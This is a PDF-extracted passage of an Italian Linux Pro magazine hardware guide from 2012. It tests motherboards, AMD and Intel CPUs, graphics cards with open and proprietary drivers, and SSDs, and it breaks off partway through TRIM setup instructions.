essere che ormai Linux è decisamente stabile e funziona bene sul vecchio hardware che abbiamo, quindi raramente ci capita di pensare al “ferro” a meno di incappare in problemi di driver o simili. È anche vero, però, che se invece si considera l’hardware più recente, è facile che ci vengano in mente dubbi sulla compatibilità con Linux e sulle prestazioni. Anche se i problemi di compatibilità sono molti meno di 10 anni fa, a nessuno piace acquistare un dispositivo per poi dover passare ore e ore per capire come farlo andare con il sistema del Pinguino. Per questo motivo abbiamo

provato diversi componenti hardware, di varie marche, per verifi carne proprio compatibilità e prestazioni sotto Linux. Per rendere la nostra scelta la più pratica possibile, non ci siamo spinti nel test delle CPU o delle schede grafi che più estreme. Questo non dà solo una chance alle distro Linux di non aver problemi con driver e supporto, ma ci permette di rimanere anche in una fascia di prezzo accessibile a tutti. Abbiamo anche provato prodotti concorrenti, come le schede video AMD e Nvidia, o i processori Intel e AMD, con l’obiettivo e la speranza di fornirvi una panoramica il più vasta possibile di cosa funziona bene e cosa no. Abbiamo verifi cato le differenze di prestazioni tra le piattaforme a 32 bit

e 64 bit, i miglioramenti che vi offre un disco SSD e quanto validi siano i driver open per le schede video. E anche se non trarremo delle conclusioni assolute su quale hardware dovete acquistare, abbiamo cercato di rendere il più semplice possibile la vostra scelta.

Il team di LXP ha passato del tempo provando schede madri, CPU, dischi SSD e schede grafiche al posto vostro

Aggiorna ora!

6

01

3

2

8 7 9 5

410 LINUX PRO 120

Hardware

Page 13: LinuxPro-N120_Settembre2012

0 Scheda madreLe schede madri hanno forme e dimensioni differenti, ma i formati più comuni sono quelli della famiglia ATX. Questo standard defi nisce dove devono stare i connettori d’alimentazione e come ci si deve collegare a essa. La maggior parte delle schede usa la dimensione ATX standard, e queste sono le schede preferite dalla maggior parte degli utenti desktop e dai power user perché offrono il numero più ampio di espansioni. Ma anche il formato Micro-ATX è popolare, specialmente nei set-top box o nei PC che devono occupare poco spazio. Il formato Mini-ATX si trova nei sistemi embedded, ma tutto ciò che è così piccolo è dominio degli specialisti. All’utente normale serve di solito una scheda ATX o Micro-ATX.

Iniziamo con i dispositivi a cui tutti gli altri componenti si collegano

La guida completa all’hardware

9 LANProbabilmente avete familiarità con le connessioni di rete cablata Ethernet. Le velocità di trasferimento sono rimaste le stesse da un po’ di tempo, il che vuol dire che la velocità della vostra rete dipende da ciò che vi collegate. Tutte le schede moderne supportano le connessioni 10/100 e 1000 Mb/s (Gigabit).

8 Uscita audioDi solito trovate uscite audio sia analogiche che digitali, in questo caso ottiche o coassiali per il collegamento con un amplifi catore. Molte schede madre usano i chipset Realtek per il suono, e possono riprodurre audio multi-canale. La soluzione migliore è tenere l’audio nel dominio digitale, così si evitano delle conversioni e interferenze.

7 Uscita videoOra che le piattaforme Intel e AMD contengono una GPU, è facile trovare un connettore Video out. Di solito si tratta di DVI o HDMI per il facile collegamento con televisori o monitor moderni, con HDMI che trasporta anche l’audio digitale.

6 Slot PCILe schede d’espansione attuali usano degli slot chiamati PCI-Express 1x o 16x. Questi ultimi di solito includono uno slot “potenziato” per la scheda grafi ca, detto PCIEX16, posto vicino alla CPU, e alcuni slot più lenti chiamati PCIE4.

5 Porte USBIn modo simile, ora che tutti si sono assestati nell’uso delle USB 2 per i dispositivi, sta avvenendo un lento passaggio a USB 3. Il nuovo standard porta i 480 Mb/s del vecchio USB 2 a 5 Gb/s, rendendolo veloce quanto SATA-3 e superando i collegamento FireWire 800. Comunque la velocità di trasferimento teorica non è mai, in realtà, raggiunta praticamente. Tutto dipende dal vostro sistema operativo, dai dispositivi coinvolti, dai driver per il vostro chipset e dall’uso che fate. Molte persone che fanno editing video sono convinte che FireWire 800 funzioni ancora meglio dell’USB 3, ad esempio.

4 Porte SATA (2 e 3)Sono molto poche le motherboard dotate dei vecchi connettori IDE per dischi e unità ottiche. Tutto oggigiorno utilizza i più semplici connettori SATA. Anche se tutti usano lo stesso cavo, la maggior parte dei dispositivi è compatibile con SATA-2, che offre una velocità teorica di trasferimento pari a 3 Gb/s, anche se tutte le schede madri che abbiamo guardato supportano SATA-3, che raddoppia questa velocità usando dello storage compatibile.

3 Slot di memoriaLa memoria è collegata strettamente alla CPU, quindi deve essere scelta in modo specifi co per la piattaforma che volete acquistare. Ora la scelta è più semplice visto che le motherboard moderne per Intel e AMD usano le stesse memorie DDR3 (fi no a quando non saranno disponibili le DDR4 più in là nell’anno), quindi non dovete far altro che comperare una memoria che sia abbastanza veloce per le vostre esigenze. Se la memoria è troppo lenta per la CPU, potrebbe rallentare il tutto o addirittura non funzionare. Se è troppo veloce, avrete speso più soldi per nulla. Noi abbiamo usato 4 GB di G.Skill Ripjaw Gaming Series Memory (F3-12800CL7D), che hanno una velocità di clock di 1.600 MHz. La maggior parte delle schede madri moderne possono montare fi no a 32 GB di RAM.

2 Connettori d’alimentazioneLe macchine moderne necessitano di un’alimentazione moderna. Assieme al normale connettore da 24 pin, che a volte è diviso in due blocchi da 20+4 pin, avete bisogno di un connettore 8 pin/12v per la CPU. Il design dovrebbe essere a prova di imbranato, quindi di solito è impossibile inserire un cavo nel connettore sbagliato. Le schede grafi che meno potenti raramente richiedono un’alimentazione extra, ma quelle di livello medio potrebbero aver bisogno di un cavo d’alimentazione a 6 pin, mentre quelle top addirittura di due. Tutto questo deve arrivare da un alimentatore (PSU) e per un desktop potente ne consigliamo uno da almeno 600 watt, con piste da 12v separate per la scheda grafi ca.

1 Socket della CPUCi sono solo due costruttori di CPU se si considera la piattaforma x86, AMD e Intel, ed entrambe usano una molteplicità di socket (alloggiamenti) per la CPU con i rispettivi connettori per i sistemi di raffreddamento. Quale socket scegliere dipende dalla CPU che vi interessa, in modo da far corrispondere in modo corretto l’alloggiamento e il processore. Quindi da questo dipende anche la scelta di quale scheda madre acquistare. Il socket più recente di Intel è chiamato LGA1155 e supporta sia le CPU dello scorso anno, Sandy Bridge, sia i più nuovi Ivy Bridge. L’ultimo socket di AMD, invece, è detto AM3+, che abbiamo usato per provare il processore AMD Phenom II. Entrambi i socket richiedono l’uso di sistemi di raffreddamento (ventole o altro) compatibili, anche se alcune schede madri moderne possono essere adattate con qualche colpo di cacciavite.

LINUX PRO 120 11

Hardware

Page 14: LinuxPro-N120_Settembre2012

0 20 40 60 80 100 120 0 1000 2000 3000 4000 5000 6000 7000 8000 0 10000 20000 30000 40000

C ’era un tempo in cui le prestazioni delle CPU si misuravano guardando un solo valore: la velocità di clock. Un processore

più veloce poteva eseguire più operazioni in un certo lasso di tempo, e quindi poteva portare a termine un compito prima rispetto a una CPU più lenta. La velocità di clock si misura in Hertz, cioè il numero di istruzioni che possono essere eseguite in un secondo (ok, stiamo semplificando, alcune istruzioni richiedono più di un ciclo di clock). Le CPU moderne viaggiano alla velocità di alcuni GHz (1 GHz = 1.000.000.000 Hz). Cosa costituisce un’istruzione dipende dal tipo di processore. Noi guarderemo alla famiglia

di CPU x86, usate nella maggior parte dei desktop e dei portatili. Questo set di istruzioni è nato nel 1978 con i chip 8086 a 16 bit di Intel. Le istruzioni principali sono rimaste le stesse ma nel tempo ne sono state aggiunte di nuove man mano che si rendevano necessarie nuove funzionalità. La famiglia di processori ARM (usata in molti dispositivi mobile) usa un set di istruzioni differente, e quindi, a parità di velocità di clock, offre prestazioni diverse. Così come con il numero di operazioni, processori differenti eseguono operazioni su diverse quantità di dati. Le CPU

più recenti sono sia a 32 bit che a 64 bit – questo è il numero di bit usati in ogni istruzione. Quindi i 64 bit dovrebbero essere il doppio più veloci dei 32 bit? No. Dipende da che dati vi servono: se state facendo un’operazione su numeri a 20 bit, la velocità di calcolo sarà la stessa sulle macchine a 32 e 64 bit. Questa lunghezza della parola può condizionare anche il modo in cui la CPU indirizza la memoria. Leggete il box 64 vs 32 bit per capire come le differenti lunghezze possono condizionare le prestazioni. Uno dei principali fattori da cui dipendono le prestazioni delle CPU è il numero di core. In effetti, ogni core è un processore che da solo può far funzionare

del software con poche o nulle interferenze da parte degli altri core. Così come la lunghezza della parola, il numero di core non può essere semplicemente moltiplicato per la velocità di clock per determinare la potenza di una CPU. Un compito può trarre

vantaggio da core multipli solo se è stato progettato per supportare il multi-thread. Questo vuol dire che gli sviluppatori dividono i programmi in diversi sottoprogrammi, ognuno dei quali può girare su un core diverso. Non tutti i lavori possono essere divisi in questo modo. Eseguire un programma a singolo thread su una CPU multi-core è equivalente a far girare lo stesso programma su una CPU a singolo core – però sarete in grado di far andare due programmi a singolo thread su una CPU a più core più velocemente che non se questi funzionassero su

un processore a singolo core. Noi tendiamo a pensare alla memoria come a un pezzo singolo che il processore suddivide tra i singoli programmi in esecuzione. Ma il discorso ha più sfumature. Piuttosto che essere un singolo elemento, la memoria è composta da una gerarchia di livelli differenti. Normalmente, più veloce è la memoria, più costa, quindi la maggior parte dei computer ha una piccola quantità di memoria molto veloce, detta cache, una maggiore quantità di RAM e un po’ di spazio su disco fisso, detto spazio di swap, che entra in azione quando il resto della memoria è pieno (semplificando un po’ il discorso). Quando si parla di CPU, è la cache la memoria più importante, visto che è integrata nel chip. Mentre potete installare della nuova RAM o aumentare la dimensione dello swap, la cache è fissa. Anche la cache si suddivide su più livelli, con quello più basso che è più piccolo e veloce degli altri. Quindi, alla luce di tutto ciò, può essere difficile capire le prestazioni di differenti configurazioni. Per cercare di fare ordine, abbiamo sottoposto a test diverse CPU per scoprire le loro potenzialità. Le CPU che abbiamo preso in esame

ProcessoriLa potenza di una CPU non dipende solo dalla sua velocità

Graphics Magic Blur

A8 4 Core

Iterazioni al secondo

i5 4 Core

X6 6 Core

A8 4 Core

i5 4 Core

X6 6 Core

Graphics Magic Sharpen

Graphics (Vdrift)FPS

A8 4 Core

i5 4 Core

X6 6 Core

Iozone disk read 4 GB

A8 4 Core

MB/s

i5 4 Core

X6 6 Core

A8 4 Core

i5 4 Core

X6 6 Core

IoZone disk read 2 GBJohn The RipperCheck al secondo (in millioni)

A8 4 Core

i5 4 Core

X6 6 Core

RAM SpeedMB/s

A8 4 Core

i5 4 Core

X6 6 Core

Apache staticRichieste al secondo

A8 4 Core

i5 4 Core

X6 6 Core

Risultati dei test principali

“La famiglia di processori ARM usa un diverso set di istruzioni”

12 LINUX PRO 120

Hardware

Page 15: LinuxPro-N120_Settembre2012

sono (in ordine crescente di prezzo):Δ AMD Phenom II X4 3400 MHz Quad Core (Cache: 4x64 KB livello 1, 4x512 KB livello 2, 6 MB livello 3). Δ AMD Phenom II X6 3300 MHz Sei Core (Cache: 6x512 MB livello 2, 6 MB livello 3).Δ Intel i5-2500K 3,6 GHz (Cache: 2x32 KB livello 1, 256 KB livello 2, 6 MB livello 3). Tutte le CPU sono state fatte funzionare alla velocità di clock di targa. L’overclock è un’arte e vi permette di spremere un po’ di potenza ulteriore da ognuna di queste CPU, ma questo discorso va oltre gli scopi di questo articolo. In un mondo ideale avremmo testato queste CPU con la stessa scheda madre così da eliminare le differenze di fondo. Però processori diversi hanno differenti confi gurazioni dei pin, quindi non stanno fi sicamente sulla stessa scheda madre (e non funzionerebbero lo stesso se potessero starci). Dai grafi ci di queste pagine potete vedere che la CPU Intel, a fronte di un costo maggiore, supera quelle di AMD in quasi ogni settore. Questa cosa non ci sorprende, visto

che costa il doppio della CPU AMD meno costosa. In poche aree, il test con le pagine statiche in Apache per esempio, le prestazioni sono proprio il doppio. Quello che sorprende di più è, forse, che la CPU Intel batte il Phenom II X6 pur avendo due core in meno e una velocità di clock di poco superiore. L’unica eccezione signifi cativa a questo comportamento è stata registrata con il test di cracking delle password con John The Ripper e con alcuni test GraphicsMagic. Questi sono test altamente parallelizzati, che dovrebbero trarre vantaggio dai processori extra presenti nell’X6. Non tutte le differenze di velocità sono dovute alla CPU. Come detto prima, abbiamo provato i processori su schede madri differenti. La scheda madre Intel aveva a bordo un SSD usato come cache per i dati inviati all’SSD principale. Questo ha portato a velocità di lettura incredibilmente maggiori per i fi le sotto i 2 GB, mentre non si sono notate particolari differenze con i fi le più grandi. Le velocità di scrittura sono state molto simili tra le varie confi gurazioni. La scelta dell’unità

di elaborazione è probabilmente più complessa oggi di quanto non fosse in passato. Abbiamo una scelta che va dalle CPU a bassi consumi, ai processori complessi, ai chip grafi ci altamente parallelizzati e ai cluster di CPU. Ora più che mai, la domanda non è “qual è il processore migliore?” ma “qual è la soluzione più giusta per il mio compito?”. Rispondere a questa domanda richiede la conoscenza di quali chip sono presenti sul mercato, quanto essi costano e come si comportano nei differenti compiti possibili. Le migliori CPU Intel sono i più potenti in circolazione per i normali compiti quotidiani, ma tanta velocità ha un prezzo rilevante. E i core extra dell’X6 riescono a eguagliare, e qualche volta a superare, il processore i5 nei benchmark GraphicsMagic, che simulano la manipolazione delle immagini, lasciando al contempo un po’ di euro nelle vostre tasche. Comunque, a meno che non abbiate attivato tutti i widget e gli effetti di KDE, l’X4 è più che capace di portare avanti i compiti normali che vengono affi dati a un PC casalingo.

Le prestazioni e il numero di core

64 vs 32 bit

Possiamo capire come il cambiare il numero di core attivi abbia una ricaduta sulle prestazioni usando VirtualBox per simulare CPU diverse. Si può allocare un certo numero di core dell’host a una macchina guest, e vedere come il sistema funziona con un numero arbitrario di core. Nei grafi ci qui sotto potete vedere come si è comportato il sistema nei benchmark con uno, due e tre core. Le differenze nelle prestazioni con un numero diverso di core sono dipese molto dal tipo di task richiesto. In alcuni casi, aumentare il numero di core ha rallentato l’esecuzione a causa dell’overhead legato alla schedulazione dei diversi processi sui vari core. In altri casi, come con il crack delle password,

si osserva un miglioramento lineare man mano che si aumentano i core disponibili. Vale la pena notare che abbiamo eseguito questi test in modo sequenziale. Se avessimo eseguito più task in parallelo, ci saremmo aspettati dei risultati migliori per le CPU con più core. Quando si sceglie un processore, conviene considerare quanti task intensivi farete girare assieme. Per l’uso server, controllate se i servizi che dovete eseguire traggono vantaggio dalle architetture multi-core. Compiti che funzionano molto bene su CPU multi-core spesso vanno ancora meglio se prendete in considerazione schede grafi che che possono usare CUDA o OpenCL.

Anche se avete una CPU a 64 bit, è possibile che non stiate traendo vantaggio dalle sue capacità di elaborare 64 bit alla volta. Per mantenere la compatibilità all’indietro, i processori a 64 bit sono progettati per eseguire codice a 32 bit. Abbiamo eseguito un set di benchmark usando un processore a 64 bit ed eseguendo entrambe

le versioni a 32 e 64 bit di Linux per vedere quanto ciò condizionasse le prestazioni. I 64 bit in genere funzionano più velocemente, ma non così tanto per molti task. Con un uso normale del computer, non si notano le differenze, ma se dovete elaborare numeri, allora la lunghezza di parola maggiore velocizza le cose.

SciMark v2 Sparse Matrix Multiply

1 Core

MIPS

2 Core

3 Core

1 Core

2 Core

3 Core

SciMark v2 Monte Carlo

Disk Read

1 Core

MB/s

2 Core

3 Core

1 Core

2 Core

3 Core

Disk Write John The RipperCheck al secondo (in millioni)

1 Core

2 Core

3 Core

32-bit

64-bit

64-bit

SciMark v2 Sparse Matrix Multiply

SciMark v2 Monte Carlo

32-bit

32-bit

64-bit

64-bit

Disk read

Disk write

32-bit

32-bit

64-bit

John The RipperCheck al secondo (in millioni)

LINUX PRO 120 13

Hardware

Page 16: LinuxPro-N120_Settembre2012

Forse il componente di un PC più aperto a pareri soggettivi in una discussione è quello preposto alla

generazione della grafica. Questo perché la scelta migliore per ognuno dipende da quanto importante è la grafica per il proprio sistema. Se usate spesso la riga di comando o un semplice Window Manager, per esempio, una scheda video molto potente sarebbe solo uno spreco di denaro. Questo perché è nel reame della grafica 3D che la maggior parte delle unità di elaborazione grafica (GPU) differiscono, e spesso lo fanno grandemente. Anche se le capacità di rendering 3D sono importanti principalmente per far girare i videogiochi 3D, la potenza di calcolo contenuta nelle GPU viene spesso usata per diversi compiti, come l’encoding e il decoding dei filmati in alta definizione, i calcoli matematici, la riproduzione di contenuti protetti da DRM e la visualizzazione di tutte quelle finestre mollicciose e ombreggiature che chiunque sembra amare nel proprio desktop. Delle specifiche hardware migliori non vogliono dire solo poter giocare a una risoluzione più alta, con una migliore qualità video e con un framerate superiore – tutte cose che rendono più piacevoli i giochi – ma ora significano anche poter godere di un’esperienza desktop migliore.

ElaborareCome per le CPU, lo sviluppo delle GPU non sembra arrestarsi. La loro potenza sembra raddoppiare ogni 18 mesi e questa è sia una buona che una cattiva cosa. L’aspetto positivo è che i modelli più potenti dello scorso anno ora costano la metà rispetto a quando erano uscite. Quello negativo è che la vostra scheda video invecchia in fretta, anche se avete preso il modello più recente. Per queste ragioni, e perché la maggior parte dei videogiocatori che usano Linux non pretendono la tecnologia video all’ultimo grido visto che non ci sono giochi in grado di sfruttarla (a meno di non fare il dual boot con Windows) focalizzeremo la scelta delle schede su valore, prestazioni, supporto hardware e compatibilità. Per il valore, daremo un’occhiata alle schede poco sotto i modelli più estremi, incluse un paio di opzioni economiche e un paio più costose. Per le prestazioni, abbiamo testato tutti i modelli usando la versione 3.0 del benchmark Unigene. Si tratta di un arduo test per le capacità 3D di una GPU, sfornando

Schede graficheCon Steam in procinto di approdare su Linux e un rinnovato vigore nella produzione di videogiochi indipendenti, è l’ora di fare un upgrade della scheda grafica presente nel proprio sistema

milioni di poligoni completi con ambient occlusion, illuminazione globale dinamica, cumulonembi volumetrici e dispersione della luce. Ha un aspetto migliore di qualunque gioco per Linux, e verifi ca sia le capacità hardware che la qualità dei driver. Visto che l’engine Unigene viene usato in diversi giochi di alto profi lo, incluso Oil Rush provato proprio in questo stesso numero, il risultato dovrebbe fornire una buona indicazione su quanto bene una GPU è in grado di funzionare con i giochi più moderni che appariranno. Comunque abbiamo voluto testate il nostro hardware anche con i giochi attuali. Abbiamo provato la versione più recente di Alien Arena, ad esempio, così come alcuni titoli indipendenti come World of Goo. Cosa più importante, abbiamo provato il tutto anche con alcuni giochi presi da Steam, tramite WINE. Steam è un portale di videogiochi per Windows e nel tempo è divenuto il modo migliore per acquistare e installare nuovi giochi per quel sistema operativo. Ci sono dei forti indizi, o forse anche più, che Steam si prepari a sbarcare anche su Linux prima della fi ne di quest’anno. Se succederà, le prestazioni misurate usando WINE vi forniranno delle indicazioni su come certi titoli Steam gireranno su Linux.

HardwareAbbiamo messo alla prova cinque differenti schede. Le prime due sono integrate, il che vuol dire che fanno parte della CPU invece di essere delle schede esterne inserite in uno slot della scheda madre. In genere ci si riferisce al pacchetto CPU+scheda grafi ca con la sigla APU, Accelerated Processing Unit. Abbiamo iniziato con l’APU Sandy Bridge di un processore Intel i5-2500K a 3,3 GHz. Visto che Intel sviluppa seriamente i driver per Linux, ci si aspetta ottimi risultati. L’altra APU testata

La velocità non è l’unico fattore da considerare. Anche la qualità del rendering è importante. La Radeon HD 6850 (a destra) ha avuto dei problemi con le texture di Bioshock. La Nvidia GTX570 (a sinistra) non li ha avuti

14 LINUX PRO 120

Hardware

Page 17: LinuxPro-N120_Settembre2012

Le GPU in provaPer tutte le schede, tranne quella integrata di Intel, il sistema usato aveva una CPU AMD A8-3850 a 3,6 GHz con 4 GB di RAM e una normale installazione di Ubuntu 12.04 a 64 bit. Abbiamo usato Unity 2D per evitare confl itti con l’accelerazione grafi ca.

Δ Intel Sandy Bridge i5-2500KΔ AMD Radeon HD 6550D (con CPU A8-3850)Δ AMD Radeon HD 6670 1 GBΔ AMD Radeon HD 6850 1 GB Δ Nvidia GTX570 1,25 GB

Demo Heaven: confronto tra fps

è migliore sulla carta; è quella presente nei chip A8-3850 di AMD (chiamati anche AMD Fusion). Si tratta del chiacchierato core grafi co delle future Playstation 4, e anche se la GPU del nostro modello è molto probabilmente meno potente di quella che userà Sony, è lo stesso possibile combinare il suo potere computazionale con un’altra scheda Radeon esterno usando l’opzione CrossFire presente nel BIOS. Nel nostro caso abbiamo usato una AMD Radeon HD 6550D con 512 MB di RAM. Le altre schede provate sono tutte esterne, connesse a uno slot PCIe sulla motherboard. In questo caso, dovete assicurarvi di avere due slot liberi perché una scheda grafi ca spesso occupa lo spazio dello slot adiacente a quello in cui è inserita a causa del sistema di raffreddamento. Inoltre dovete verifi care che il vostro alimentatore sia in grado di fornire abbastanza potenza. Noi ne abbiamo usato uno da 600 W con due linee separate da 12v per alimentare le schede grafi che. Le schede in prova necessitano di alimentazione: un singolo connettore a 6 pin, oppure due per le schede più affamate di energia – le schede Nvidia. I modelli che abbiamo guardato sono l’economica AMD Radeon HD 6670 (una delle schede progettate per funzionare con l’APU A8-3850), la più potente AMD Radeon HD 6850 e la Nvidia GTX570: tutte sono state testate sia con i driver open che con quelli proprietari.

Le schede economicheI risultati con Sandy Bridge sono stati vari. Eseguendo Mesa 8.0.2, il benchmark Unigene ha funzionato a stento, il che vuol dire che molti giochi moderni sono impossibile da usare (bisogna dire che i più nuovi e costosi Ivy Bridge sono molto più potenti). Abbiamo avuto più fortuna con Alien Arena, che ha raggiunto un confortante 60fps, ma ci siamo formati l’opinione che se si vuole giocare bisogna ricorrere ai driver proprietari. La prima GPU Radeon provata è stata la HD 6550D integrata, con la versione 0.4 dei driver Open Source Gallium. Le prestazioni desktop sono state buone, e Unity 3D di Ubuntu ha funzionato a dovere senza problemi (così come ha fatto

con Intel). Da notare che il benchmark Heaven ha offerto risultati migliori rispetto a quelli di Sandy Bridge, cosa che non si può dire per la stessa demo usata con l’antica Nvidia 7600GTS, ma il rendering ha presentato grossi problemi. Abbiamo visto delle silhouette muoversi sullo schermo a 7 frame al secondo al posto di texture colorate. Ecco perché il test successivo è stato fatto usando i driver proprietari Catalyst, installati manualmente. Il test successivo è stato fatto con Alien Arena che ha offerto un framerate inaspettatamente basso, 25fps – più che adeguati per il lavoro d’uffi cio ma lontano dai risultati di Sandy Bridge. Con il benchmark Heaven, invece, i driver proprietari hanno fatto il rendering della grafi ca in modo corretto fornendo un risultato di 10.3. Questo valore potrebbe sembrare basso, ma dovete considerare che si tratta di una scheda integrata e il benchmark stesso non è ottimizzato per la giocabilità, per cui si tratta di un buon risultato. Abbiamo provato lo stesso test sia con Unity 3D che Unity 2D per vedere se c’erano differenze quando il desktop usa OpenGL, ma non ne abbiamo trovate – cosa che dimostra che l’ultima versione di Unity ha risolto i problemi di prestazioni con le OpenGL. Le prestazioni hanno visto un piccolo salto in avanti con il test della Radeon HD 6670 1024 MB. Alien Arena ha funzionato a 55fps e il benchmark Heaven ha raggiunto il punteggio di 25,3 fps, con un minimo di 11 fps e un massimo di 46. Questo è un ottimo risultato per una scheda economica e se optate per la versione con il sistema di raffreddamento passivo potrebbe essere una buona opzione per un PC con cui giocare o vedere fi lm.

Le schede più potentiCi rimangono da testare le due schede più potenti a nostra disposizione: la Radeon HD 6850 1024 MB e la Nvidia GTX570. Abbiamo iniziato con la Radeon perché avevamo i driver già installati, e subito ci siamo trovati di fronte dei risultati drammaticamente migliori con il benchmark Heaven che ha restituito un valore di 46,2 fps – minimo 15 e massimo 78.8. Rassicurati da questi risultati abbiamo provato un altro paio di test, per primo con la versione nativa (e antica) di Darwinia. Questo gioco ha funzionato a ben 160-250 fps, il che vuol dire che questa scheda non ha problemi con i giochi vecchi. Invece abbiamo riscontrato delle diffi coltà provando Steam. Per far funzionare Bioshock, per esempio, siamo dovuti uscire da Unity 3D. Ma questo non è bastato, la grafi ca non veniva renderizzata correttamente. È andata meglio con i giochi Source, visto che gli stress test sia di Half Life 2 sia di Lost Coast hanno dato buoni risultati – l’ultimo ha raggiunto i 47,91 fps nonostante la spettacolare qualità di rendering. Poi è venuto il momento della scheda più costosa del gruppo, la Nvidia GTX570 con 1,25 GB di RAM. Prima l’abbiamo provata con i driver Open Source nouveau, ma non siamo riusciti a far funzionare i nostri benchmark, Darwinia o i giochi di Steam, quindi abbiamo immaginato che se si spendono così tanti soldi si vogliono anche i driver migliori. Ci sono poi altri vantaggi nell’usare i driver proprietari Nvidia. L’utility di confi gurazione, per esempio, che può essere installata assieme ai driver e che si dimostra un tool potente e versatile. Potete abilitare il TwinView, che abbiamo sempre trovato più stabile rispetto a Xinerama per gli schermi multipli, e passare da una risoluzione all’altra per ogni schermo senza riavviare. Anche i driver Catalyst possono fare ciò, ma con i driver Nvidia potete anche overclockare la scheda grafi ca e monitorare le temperature della GPU. Il tool Nvidia è molto utile anche per la risoluzione dei problemi, abbiamo usato il tool Settings per scaricare i dati EDID dal nostro schermo e forzare altri schermi a usare gli stessi dati EDID. Ricordiamo che questi dati identifi cano le caratteristiche del monitor. Con i driver proprietari, la GTX570 è stata la vincitrice. Ha ottenuto un grande risultato con il benchmark Heaven, con 66,6 fps, e Bioshock ha funzionato alla perfezione da Steam usando WINE. Quindi, quando Steam sarà nativo per Linux, le cose andranno ancor meglio con le schede Nvidia. Se questo sia suffi ciente per spendere un po’ di più dipende da quanto importate siano i videogiochi per voi.

Sandy Bridge Radeon HD 6550D Radeon HD 6670 Radeon HD 6850 Nvidia GTX570

LINUX PRO 120 15

Hardware

Page 18: LinuxPro-N120_Settembre2012

Mentre i processori, le schede video, la RAM e le connessioni di rete sono diventati più veloci nel corso degli

anni, la tecnologia dei dischi fissi sembra aver fatto dei piccoli passi in avanti. Ci sono ancora parti meccaniche e di solito i dischi fissi si dimostrano il componente più lento, meno affidabile e più desideroso di energia in un PC tipico. I dischi SSD (Solid State Drive) stanno cambiando la situazione, e rappresentano l’evoluzione dei PC più entusiasmante degli ultimi cinque anni. In questa parte finale dell’articolo daremo un’occhiata a questi miracolosi dispositivi. Oltre a confrontare due modelli, cercheremo di dare risposta alle domande che molti si pongono a proposito degli SSD: “vale la pena prenderli?”, “quanto a lungo vivranno?” e “come posso sfruttarlo al meglio?”.

Valgono la pena?I dischi tradizionali contengono dei piatti che girano, rivestiti di un materiale magnetico. Questo materiale magnetico viene manipolato da testine di lettura/scrittura che si spostano sopra i piatti e in questo modo vengono memorizzati i dati. Invece gli SSD non hanno parti mobili. Gli SSD sono composti da milioni di piccoli transistor (del tipo fl oating gate), ognuno dei quali è capace di memorizzare un bit d’informazione. Visto che non hanno parti in movimento, essi sono più silenziosi, più piccoli, più effi cienti dal punto di vista energetico, più veloci e più longevi. Questa soluzione è l’ideale se pensate di applicarla a un portatile, dove spazio, consumi e rumorosità sono fattori importanti. La maggior velocità dei dischi avrà anche un forte impatto sui PC

Dischi a stato solido

e sul tempo d’avvio di sistemi operativi e programmi (e su qualunque operazione che fa molte letture sul disco), e può far apparire incredibilmente più veloce il vostro computer. Tutti questi benefi ci sembrano fantastici, ma gli SSD hanno anche dei contro che dovreste considerare prima di acquistarne uno. L’aspetto negativo è che, al momento, non potete prendere dischi SSD con una

capacità simile a quella dei dischi fi ssi più grandi, e inoltre sono molto più costosi. Ad esempio, il Crucial M4 128 GB che abbiamo provato lo potete trovare online a circa 105 euro; per una cifra simile potete acquistare un disco fi sso tradizionale di buona qualità da 2 TB. Se vi serve molto spazio e avete un budget limitato, un SSD non è ciò che fa per voi. La risposta alla domande “vale la pena prenderli?” è “dipende da come si usa il computer”.

VitaDue timori comuni riguardo gli SSD riguardano la loro durata e se le prestazioni rimangono costanti lungo tutta la loro vita. Questi dubbi non sono infondati. I transistor in un SSD dureranno circa 10 anni, o 10.000 scritture, in base a cosa capita prima – quindi hanno un tempo di vita limitato. Inoltre, in alcuni tra i primi modelli venduti, un fi rmware mal progettato causava un degrado nel tempo delle prestazioni. Nei dischi moderni, con un sistema operativo e un fi lesystem attuali, l’importanza di questi problemi è stata fortemente ridotta grazie a una cosa chiamata TRIM. Questa cosa aiuta il fi rmware del disco a gestire l’allocazione dei blocchi, assicurando che ogni transistor sia scritto il numero minimo di volte senza un degrado delle prestazioni. Quanto grande è l’impatto di TRIM? In uno degli articoli più autorevoli sull’argomento, Anand Lal Shimpi ha trovato che su un disco “vecchio”, le prestazioni in scrittura erano solo il 52% rispetto a quelle di un disco nuovo, senza TRIM; con TRIM, il disco vecchio funzionava al 98% rispetto a quello nuovo. Quindi vale la pena abilitare

“Non potete acquistare SSD più grandi degli hard disk tradizionali”

Aggiornate i vostri dischi con unità che dipendono solo dall’elettronica

Massime prestazioniChi è ossessionato dalla velocità, ha a disposizione uno o due trucchi da applicare per incrementare la velocità dei dischi. Uno riguarda il corretto allineamento delle partizioni, ma ne parleremo in maniera più estesa in futuro. L’altra opzione è cambiare lo scheduler del disco. Questo detta l’ordine d’accesso dei blocchi e, nei dischi tradizionali, lo scheduler ‘elevator’ veniva usato per dare maggiore priorità ad alcuni blocchi rispetto ad altri (a seconda di quanto vicino al centro fosse il blocco, il tempo d’accesso cambiava). Visto che l’accesso ai blocchi è praticamente costante negli SSD, potreste pensare di ricorrere allo scheduler ‘noop’: echo noop > /sys/block/<ssd>/queue/scheduler

il TRIM. E come si fa a far funzionare questo TRIM? La prima cosa da fare è assicurarsi che il vostro disco SSD lo supporti. Se lo avete preso recentemente, è molto probabile che sia così, altrimenti vi conviene verifi carlo. Potete farlo con hdparm: hdparm -I /dev/<ssd> | grep “TRIM supported”sostituendo <ssd> con il nome di dispositivo

dell’SSD. Se il comando vi mostra qualcosa, allora siete pronti ad abilitare il TRIM nel sistema operativo. Per farlo, dovete formattare le partizioni con i fi lesystem ext4 o btrfs. Questi sono gli unici fi lesystem Linux

che supportano TRIM. Noi al momento preferiamo ext4, perché btrfs manca ancora di tool di riparazione stabili, rendendo più diffi cile recuperare i dati dopo un problema.

Opzioni di mountFatta la formattazione, dovete modifi care le opzioni di mount del fi lesystem, visto che TRIM non viene abilitato di default. Dovete quindi agire sul fi le /etc/fstab. Prima di fare modifi che a questo fi le, però, vi suggeriamo di farne una copia di backup in modo da ripristinarlo rapidamente in caso di problemi. Quindi, con i privilegi di root, digitate cp /etc/fstab /etc/fstab.bkSe qualcosa va storto, potrete sempre avviare il PC da un DVD Live, ripristinare il fi le fstab originale e riavviare ritrovando tutto al suo posto. Con il backup pronto, in ogni riga che descrive una partizione nel vostro SSD, dovete

16 LINUX PRO 120

Hardware

Page 19: LinuxPro-N120_Settembre2012

